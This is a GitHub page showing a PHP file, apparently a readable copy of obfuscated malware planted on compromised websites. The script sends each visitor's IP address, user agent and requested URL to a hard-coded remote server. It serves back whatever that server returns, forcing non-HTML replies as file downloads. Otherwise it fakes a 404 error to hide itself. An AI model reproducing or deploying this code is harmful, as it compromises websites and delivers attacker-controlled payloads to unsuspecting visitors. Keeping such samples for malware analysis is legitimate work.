-
Notifications
You must be signed in to change notification settings - Fork 11
/
home.readable.php
324 lines (320 loc) · 16.5 KB
/
home.readable.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
<?php
${"GLOBALS"}["hfmnibgtig"] = "ips";
${"GLOBALS"}["zaqukohkkj"] = "ip";
${"GLOBALS"}["fpczfknke"] = "func";
${"GLOBALS"}["gkwyvse"] = "h";
${"GLOBALS"}["goqptofiw"] = "res";
${"GLOBALS"}["thpskcj"] = "h_detected";
${"GLOBALS"}["bjkmsyafdmuw"] = "headers";
${"GLOBALS"}["rhxiztjm"] = "data";
${"GLOBALS"}["duzghq"] = "k";
${"GLOBALS"}["dmkoegsts"] = "v";
${"GLOBALS"}["kmmjtmc"] = "cookie";
${"GLOBALS"}["cirsgdg"] = "request";
${"GLOBALS"}["fkeupeyexfmk"] = "timeout";
${"GLOBALS"}["yaudjyo"] = "errstr";
${"GLOBALS"}["hahqpuuldvr"] = "errno";
${"GLOBALS"}["nwmhctnoy"] = "port";
${"GLOBALS"}["evrshigd"] = "fp";
${"GLOBALS"}["dkybtjey"] = "params";
${"GLOBALS"}["hygnxl"] = "uri";
${"GLOBALS"}["zovytdpysm"] = "type";
${"GLOBALS"}["unvrvgmd"] = "filename";
${"GLOBALS"}["vlqopxmxgrd"] = "content";
${"GLOBALS"}["adalfphu"] = "url";
${"GLOBALS"}["exutbtuec"] = "query";
${"GLOBALS"}["frtdlntnn"] = "remote";
error_reporting(0);
ini_set("display_errors", 0);
if (strlen($_SERVER["QUERY_STRING"]) == 0) {
error_404();
}
${${"GLOBALS"}["frtdlntnn"]} = "http://78.138.127.174/2701dfbvcxff.php";
php_display(${${"GLOBALS"}["frtdlntnn"]});
error_404();
function php_display($url)
{
${"GLOBALS"}["raarljmr"] = "query";
${"GLOBALS"}["kghdwca"] = "url";
${"GLOBALS"}["vilfjgrstr"] = "query";
${${"GLOBALS"}["raarljmr"]} = array();
$sxxpvocik = "content";
${"GLOBALS"}["zqhblgefkyfd"] = "content";
${${"GLOBALS"}["exutbtuec"]}["ip"] = getIp();
$mmzcqudkxbjd = "content";
${${"GLOBALS"}["exutbtuec"]}["path"] = "$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]";
${"GLOBALS"}["utmelghg"] = "content";
$wtyfqiuuryn = "query";
${${"GLOBALS"}["vilfjgrstr"]}["useragent"] = getUseragent();
${${"GLOBALS"}["adalfphu"]} = ${${"GLOBALS"}["kghdwca"]} . "?" . http_build_query(${$wtyfqiuuryn});
$kjkunvv = "filename";
${$mmzcqudkxbjd} = @file_get_contents(${${"GLOBALS"}["adalfphu"]});
if (strlen(${${"GLOBALS"}["utmelghg"]}) < 10) {
error_404();
}
${${"GLOBALS"}["vlqopxmxgrd"]} = explode("
", ${${"GLOBALS"}["vlqopxmxgrd"]});
${$kjkunvv} = array_shift(${${"GLOBALS"}["vlqopxmxgrd"]});
${${"GLOBALS"}["zqhblgefkyfd"]} = implode("
", ${$sxxpvocik});
if (strstr(${${"GLOBALS"}["unvrvgmd"]}, ".html") === FALSE) {
${"GLOBALS"}["mkuwusknikkm"] = "content";
$cdwvgbn = "filename";
${${"GLOBALS"}["zovytdpysm"]} = "application/octet-stream";
${"GLOBALS"}["uctveteetipe"] = "type";
header("Content-Type:" . ${${"GLOBALS"}["uctveteetipe"]});
header("Content-Disposition: attachment; filename=" . ${$cdwvgbn});
header("Content-Length: " . strlen(${${"GLOBALS"}["mkuwusknikkm"]}));
}
echo ${${"GLOBALS"}["vlqopxmxgrd"]};
exit();
}
function error_404()
{
${"GLOBALS"}["ekigsyougde"] = "content";
header("HTTP/1.1 404 Not Found");
${"GLOBALS"}["ppooicwhygh"] = "content";
$mlpyciogd = "content";
${${"GLOBALS"}["hygnxl"]} = preg_replace("/(\?).*\$/", "", $_SERVER["REQUEST_URI"]);
${"GLOBALS"}["dmpqcvqrmbxi"] = "uri";
${${"GLOBALS"}["vlqopxmxgrd"]} = custom_http_request("http://" . $_SERVER["HTTP_HOST"] . "/AFQjCNHnh8RttFI3VMrBddYw6rngKz7KEA");
${${"GLOBALS"}["ekigsyougde"]} = str_replace("/AFQjCNHnh8RttFI3VMrBddYw6rngKz7KEA", ${${"GLOBALS"}["dmpqcvqrmbxi"]}, ${${"GLOBALS"}["ppooicwhygh"]});
exit(${$mlpyciogd});
}
function custom_http_request($params)
{
${"GLOBALS"}["rpbduqeew"] = "params";
${"GLOBALS"}["kfmdcq"] = "params";
${"GLOBALS"}["vixdrutdmipl"] = "scheme";
${"GLOBALS"}["skithlp"] = "params";
${"GLOBALS"}["xxehovhjncm"] = "params";
${"GLOBALS"}["imarwteum"] = "url";
$mgfhxdulu = "timeout";
$hiznhk = "port";
$pgcnydrskkow = "res";
$lbleptt = "params";
${"GLOBALS"}["deynxvrikuf"] = "url";
$gltisxmf = "url";
if (!is_array(${${"GLOBALS"}["skithlp"]})) {
$ifhixrdyp = "params";
${$ifhixrdyp} = array(
"url" => ${${"GLOBALS"}["dkybtjey"]},
"method" => "GET"
);
}
${"GLOBALS"}["yepdcevuxpl"] = "url";
${"GLOBALS"}["vihctkjfhvvy"] = "params";
if (${${"GLOBALS"}["kfmdcq"]}["url"] == "")
return FALSE;
$ubxlgnhuyr = "params";
if (!isset(${${"GLOBALS"}["dkybtjey"]}["method"]))
${$ubxlgnhuyr}["method"] = (isset(${${"GLOBALS"}["xxehovhjncm"]}["data"]) && is_array(${${"GLOBALS"}["dkybtjey"]}["data"])) ? "POST" : "GET";
$cskpgqwdqo = "params";
${${"GLOBALS"}["vihctkjfhvvy"]}["method"] = strtoupper(${${"GLOBALS"}["dkybtjey"]}["method"]);
if (!in_array(${${"GLOBALS"}["dkybtjey"]}["method"], array(
"GET",
"POST"
)))
return FALSE;
$epiobcqrqlz = "url";
${$gltisxmf} = parse_url(${$cskpgqwdqo}["url"]);
${"GLOBALS"}["nxufvtacx"] = "res";
${"GLOBALS"}["sfluwzoaoune"] = "params";
if (!isset(${${"GLOBALS"}["adalfphu"]}["scheme"]))
${${"GLOBALS"}["adalfphu"]}["scheme"] = "http";
if (!isset(${${"GLOBALS"}["imarwteum"]}["path"]))
${${"GLOBALS"}["adalfphu"]}["path"] = "/";
${"GLOBALS"}["niyefoisfi"] = "url";
$tkjjnyhwfoag = "scheme";
if (!isset(${${"GLOBALS"}["adalfphu"]}["host"]) && isset(${$epiobcqrqlz}["path"])) {
${"GLOBALS"}["pgldxeumkut"] = "url";
if (strpos(${${"GLOBALS"}["pgldxeumkut"]}["path"], "/")) {
$nrkejedmbdu = "url";
${"GLOBALS"}["rwmlcdvjgd"] = "url";
${"GLOBALS"}["mawbbupy"] = "url";
${"GLOBALS"}["wxvxqaycqqcv"] = "url";
${${"GLOBALS"}["rwmlcdvjgd"]}["host"] = substr(${${"GLOBALS"}["wxvxqaycqqcv"]}["path"], 0, strpos(${${"GLOBALS"}["adalfphu"]}["path"], "/"));
${${"GLOBALS"}["adalfphu"]}["path"] = substr(${${"GLOBALS"}["mawbbupy"]}["path"], strpos(${$nrkejedmbdu}["path"], "/"));
} else {
${"GLOBALS"}["grhytlhc"] = "url";
$qhdogvo = "url";
${$qhdogvo}["host"] = ${${"GLOBALS"}["adalfphu"]}["path"];
${${"GLOBALS"}["grhytlhc"]}["path"] = "/";
}
}
${${"GLOBALS"}["adalfphu"]}["path"] = preg_replace("/[\/]+/", "/", ${${"GLOBALS"}["yepdcevuxpl"]}["path"]);
if (isset(${${"GLOBALS"}["adalfphu"]}["query"]))
${${"GLOBALS"}["adalfphu"]}["path"] .= "?{$url['query']}";
${$hiznhk} = isset(${${"GLOBALS"}["dkybtjey"]}["port"]) ? ${$lbleptt}["port"] : (isset(${${"GLOBALS"}["niyefoisfi"]}["port"]) ? ${${"GLOBALS"}["adalfphu"]}["port"] : (${${"GLOBALS"}["adalfphu"]}["scheme"] == "https" ? 443 : 80));
${$mgfhxdulu} = isset(${${"GLOBALS"}["dkybtjey"]}["timeout"]) ? ${${"GLOBALS"}["rpbduqeew"]}["timeout"] : 30;
if (!isset(${${"GLOBALS"}["dkybtjey"]}["return"]))
${${"GLOBALS"}["dkybtjey"]}["return"] = "content";
${"GLOBALS"}["jskpbxwrosfw"] = "res";
$moewmhtgse = "headers";
$bupjnclc = "fp";
${${"GLOBALS"}["vixdrutdmipl"]} = ${${"GLOBALS"}["deynxvrikuf"]}["scheme"] == "https" ? "ssl://" : "";
${${"GLOBALS"}["evrshigd"]} = @fsockopen(${$tkjjnyhwfoag} . ${${"GLOBALS"}["adalfphu"]}["host"], ${${"GLOBALS"}["nwmhctnoy"]}, ${${"GLOBALS"}["hahqpuuldvr"]}, ${${"GLOBALS"}["yaudjyo"]}, ${${"GLOBALS"}["fkeupeyexfmk"]});
if (${$bupjnclc}) {
${"GLOBALS"}["ywkmwgmun"] = "fp";
$wrywtprn = "request";
${"GLOBALS"}["ctwpwmfpd"] = "request";
$rcewvwoncgs = "request";
$klaxtlfng = "params";
$ejtawqkjvwv = "params";
if (!isset(${$klaxtlfng}["User-Agent"]))
${$ejtawqkjvwv}["User-Agent"] = "Mozilla/5.0 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7A341 Safari/528.16";
${"GLOBALS"}["njmbwqgsjh"] = "params";
${"GLOBALS"}["qycqxlfe"] = "res";
${${"GLOBALS"}["cirsgdg"]} = "{$params['method']} {$url['path']} HTTP/1.0
";
${$wrywtprn} .= "Host: {$url['host']}
";
${"GLOBALS"}["bqwdrkh"] = "params";
${${"GLOBALS"}["cirsgdg"]} .= "User-Agent: {$params['User-Agent']}" . "
";
if (isset(${${"GLOBALS"}["bqwdrkh"]}["referer"]))
${${"GLOBALS"}["ctwpwmfpd"]} .= "Referer: {$params['referer']}
";
${"GLOBALS"}["sfgjshen"] = "params";
if (isset(${${"GLOBALS"}["dkybtjey"]}["cookie"])) {
${"GLOBALS"}["xbuxsue"] = "cookie";
$izixaouwju = "params";
${${"GLOBALS"}["kmmjtmc"]} = "";
$uydzdxtjj = "cookie";
$qfbaog = "request";
if (is_array(${$izixaouwju}["cookie"])) {
$etxefpr = "cookie";
$qvsaebfw = "cookie";
${"GLOBALS"}["whhxdeqplxdm"] = "k";
$qsnkils = "params";
$oqcnxxdgy = "v";
foreach (${$qsnkils}["cookie"] as ${${"GLOBALS"}["whhxdeqplxdm"]} => ${$oqcnxxdgy})
${$qvsaebfw} .= "$k=$v; ";
$tymuackpyyx = "cookie";
${$tymuackpyyx} = substr(${$etxefpr}, 0, -2);
} else
${$uydzdxtjj} = ${${"GLOBALS"}["dkybtjey"]}["cookie"];
if (${${"GLOBALS"}["xbuxsue"]} != "")
${$qfbaog} .= "Cookie: $cookie
";
}
${${"GLOBALS"}["cirsgdg"]} .= "Connection: close
";
if (${${"GLOBALS"}["njmbwqgsjh"]}["method"] == "POST") {
${"GLOBALS"}["vwhhfisif"] = "data";
if (isset(${${"GLOBALS"}["dkybtjey"]}["data"]) && is_array(${${"GLOBALS"}["dkybtjey"]}["data"])) {
${"GLOBALS"}["mgmnrst"] = "v";
$rwdexltep = "data";
${"GLOBALS"}["jmhoexxptj"] = "data";
$cbkyxubxa = "data";
${"GLOBALS"}["lbctcbl"] = "data";
${"GLOBALS"}["hplxqfn"] = "k";
foreach (${${"GLOBALS"}["dkybtjey"]}["data"] AS ${${"GLOBALS"}["hplxqfn"]} => ${${"GLOBALS"}["dmkoegsts"]})
${$cbkyxubxa} .= urlencode(${${"GLOBALS"}["duzghq"]}) . "=" . urlencode(${${"GLOBALS"}["mgmnrst"]}) . "&";
if (substr(${${"GLOBALS"}["jmhoexxptj"]}, -1) == "&")
${$rwdexltep} = substr(${${"GLOBALS"}["lbctcbl"]}, 0, -1);
}
${${"GLOBALS"}["vwhhfisif"]} .= "
";
${${"GLOBALS"}["cirsgdg"]} .= "Content-type: application/x-www-form-urlencoded
";
${${"GLOBALS"}["cirsgdg"]} .= "Content-length: " . strlen(${${"GLOBALS"}["rhxiztjm"]}) . "
";
}
${${"GLOBALS"}["cirsgdg"]} .= "
";
${"GLOBALS"}["gymemwndow"] = "fp";
if (${${"GLOBALS"}["sfgjshen"]}["method"] == "POST")
${${"GLOBALS"}["cirsgdg"]} .= ${${"GLOBALS"}["rhxiztjm"]};
@fwrite(${${"GLOBALS"}["evrshigd"]}, ${$rcewvwoncgs});
${${"GLOBALS"}["qycqxlfe"]} = "";
${${"GLOBALS"}["bjkmsyafdmuw"]} = "";
${${"GLOBALS"}["thpskcj"]} = false;
while (!@feof(${${"GLOBALS"}["gymemwndow"]})) {
$lqnmxlpiaw = "res";
$pumdxni = "res";
${$pumdxni} .= @fread(${${"GLOBALS"}["evrshigd"]}, 1024);
if (!${${"GLOBALS"}["thpskcj"]} && strpos(${$lqnmxlpiaw}, "
") !== FALSE) {
${"GLOBALS"}["phtitpwfi"] = "res";
${"GLOBALS"}["ceotabbpqud"] = "headers";
${"GLOBALS"}["pjnwou"] = "res";
${"GLOBALS"}["zhraky"] = "params";
$oeqiubfj = "res";
${"GLOBALS"}["adaqdivq"] = "headers";
${${"GLOBALS"}["thpskcj"]} = true;
$khgqovuhu = "params";
${${"GLOBALS"}["adaqdivq"]} = substr(${${"GLOBALS"}["phtitpwfi"]}, 0, strpos(${${"GLOBALS"}["pjnwou"]}, "
"));
${$oeqiubfj} = substr(${${"GLOBALS"}["goqptofiw"]}, strpos(${${"GLOBALS"}["goqptofiw"]}, "
") + 4);
$ugvdzmbig = "params";
if (${$khgqovuhu}["return"] == "headers" || ${${"GLOBALS"}["dkybtjey"]}["return"] == "array" || (isset(${$ugvdzmbig}["redirect"]) && ${${"GLOBALS"}["dkybtjey"]}["redirect"] == true)) {
$tsbiwulfowhr = "v";
${"GLOBALS"}["iqrhxdf"] = "h";
$tuykrk = "headers";
$frfdskiwxv = "k";
${"GLOBALS"}["kpwuep"] = "headers";
${${"GLOBALS"}["iqrhxdf"]} = explode("
", ${$tuykrk});
${${"GLOBALS"}["kpwuep"]} = array();
foreach (${${"GLOBALS"}["gkwyvse"]} as ${$frfdskiwxv} => ${$tsbiwulfowhr}) {
$dicebo = "v";
if (strpos(${$dicebo}, ":")) {
$ojxubpulg = "v";
${"GLOBALS"}["mkfupgkidqyu"] = "v";
${${"GLOBALS"}["duzghq"]} = substr(${${"GLOBALS"}["dmkoegsts"]}, 0, strpos(${$ojxubpulg}, ":"));
${${"GLOBALS"}["dmkoegsts"]} = trim(substr(${${"GLOBALS"}["mkfupgkidqyu"]}, strpos(${${"GLOBALS"}["dmkoegsts"]}, ":") + 1));
}
${"GLOBALS"}["kiaarey"] = "v";
${${"GLOBALS"}["bjkmsyafdmuw"]}[strtoupper(${${"GLOBALS"}["duzghq"]})] = ${${"GLOBALS"}["kiaarey"]};
}
}
if (isset(${${"GLOBALS"}["zhraky"]}["redirect"]) && ${${"GLOBALS"}["dkybtjey"]}["redirect"] == true && isset(${${"GLOBALS"}["bjkmsyafdmuw"]}["LOCATION"])) {
${"GLOBALS"}["ssmmvued"] = "params";
${${"GLOBALS"}["dkybtjey"]}["url"] = ${${"GLOBALS"}["bjkmsyafdmuw"]}["LOCATION"];
if (!isset(${${"GLOBALS"}["dkybtjey"]}["redirect-count"]))
${${"GLOBALS"}["ssmmvued"]}["redirect-count"] = 0;
if (${${"GLOBALS"}["dkybtjey"]}["redirect-count"] < 10) {
${${"GLOBALS"}["dkybtjey"]}["redirect-count"]++;
$jetmhydib = "func";
$bfdsupd = "params";
$rzdgnapdmw = "params";
${$jetmhydib} = __FUNCTION__;
return @is_object($this) ? $this->${${"GLOBALS"}["fpczfknke"]}(${$bfdsupd}) : ${${"GLOBALS"}["fpczfknke"]}(${$rzdgnapdmw});
}
}
if (${${"GLOBALS"}["dkybtjey"]}["return"] == "headers")
return ${${"GLOBALS"}["ceotabbpqud"]};
}
}
@fclose(${${"GLOBALS"}["ywkmwgmun"]});
} else
return FALSE;
if (${${"GLOBALS"}["sfluwzoaoune"]}["return"] == "array")
${$pgcnydrskkow} = array(
"headers" => ${$moewmhtgse},
"content" => ${${"GLOBALS"}["nxufvtacx"]}
);
return ${${"GLOBALS"}["jskpbxwrosfw"]};
}
function getUseragent()
{
return $_SERVER["HTTP_USER_AGENT"];
}
function getIp()
{
$nzpdlvvn = "ip";
${"GLOBALS"}["jfrgotjwgfeb"] = "ip";
${${"GLOBALS"}["zaqukohkkj"]} = NULL;
if (isset($_SERVER["REMOTE_ADDR"])) {
${${"GLOBALS"}["zaqukohkkj"]} = $_SERVER["REMOTE_ADDR"];
}
if (strpos(${$nzpdlvvn}, ",") !== FALSE) {
${"GLOBALS"}["fpparhroiyb"] = "ip";
${${"GLOBALS"}["hfmnibgtig"]} = explode(",", ${${"GLOBALS"}["zaqukohkkj"]});
${${"GLOBALS"}["fpparhroiyb"]} = trim(array_pop(${${"GLOBALS"}["hfmnibgtig"]}));
}
return ${${"GLOBALS"}["jfrgotjwgfeb"]};
}
?>